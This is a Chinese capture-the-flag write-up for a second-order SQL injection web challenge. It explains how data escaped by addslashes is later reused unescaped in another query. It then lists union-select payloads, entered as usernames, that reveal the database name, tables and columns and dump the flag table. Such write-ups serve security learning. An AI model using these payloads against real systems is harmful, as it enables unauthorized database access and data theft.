【WEB】October 2019 Twice SQL Injection

打开题目,进入到注册页面:

随意输入1和1进去。

登录进去,发现有输入框,猜测是不是SQL注入,再次进行测试。

发现我们的单引号被转义了。

合理猜测有addslashes的存在。

  • 它会在 '、"、\、NUL 前面加一个反斜杠。比如你输入 1' union,它变成 1\' union。
  • 在当次 SQL 里,\' 表示 "一个普通的单引号字符",不再起到 "闭合字符串" 的作用,所以注入语句被封死 ------这就是第一次(注册、登录、改简介)直接注入都失败的原因 ,你在输入框里能看到回显变成了 \'。
  • 但是 :反斜杠只是给 SQL 解析器看的 "转义记号",insert 真正写进表字段时,存的是转义后的值本身,也就是那个干净的 ',反斜杠不会被存进去。
  • 于是:等以后这条数据被读出来、再拼进另一条 SQL 时,如果那个地方没再调用 addslashes ,原始的 ' 就 "复活" 了 ------ 这正是二次注入。

当我们在注册页面进行SQL注入:

zz 是个不存在的用户名,让前半截查空;

登陆后再次查看发现回显位为1。

接下来继续这样操作,脱库脱表脱列:

sql 复制代码
zz' union select database()#
sql 复制代码
zz' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#
sql 复制代码
zz' union select (select group_concat(column_name) from information_schema.columns where table_name="flag")#
sql 复制代码
zz' union select (select group_concat(flag) from flag)#
相关推荐
Nturmoils15 小时前
集中式与分布式怎么选:从订单读写看 KingbaseES 的架构边界
数据库
xiaomuzuirenzhen15 小时前
大专电子商务从事电商运营分析师需要考证吗?
大数据·数据库
翔云12345618 小时前
RocksDB中,客户端每写入一次数据,需要访问几次磁盘
运维·数据库·mysql
DevOpenClub18 小时前
职教高考控制线 API:招生类别枚举、筛选与空分数含义
java·数据库·高考
GeW19 小时前
新质生产力路线图解读:数据库性能优化与Linux调优专场
linux·数据库
在多学一点21 小时前
MYSQL第二次作业
android·数据库·mysql
Risehuxyc21 小时前
Microsoft.Data.Sqlite体验
数据库·sqlite
骑着蜗牛撵大象32721 小时前
MySQL 8.0 迁移后 SQL 变慢:执行计划里 3 类被忽略的成本差异
android·数据库·sql·mysql·优化器·执行计划
ZENERGY-众壹1 天前
告警风暴怎么压?100MW 电站监控平台告警引擎架构复盘
数据库·架构·iot·电站监控
zhengfei6111 天前
Go-fastdfs /reload 未授权访问: 有效PoC
数据库·sql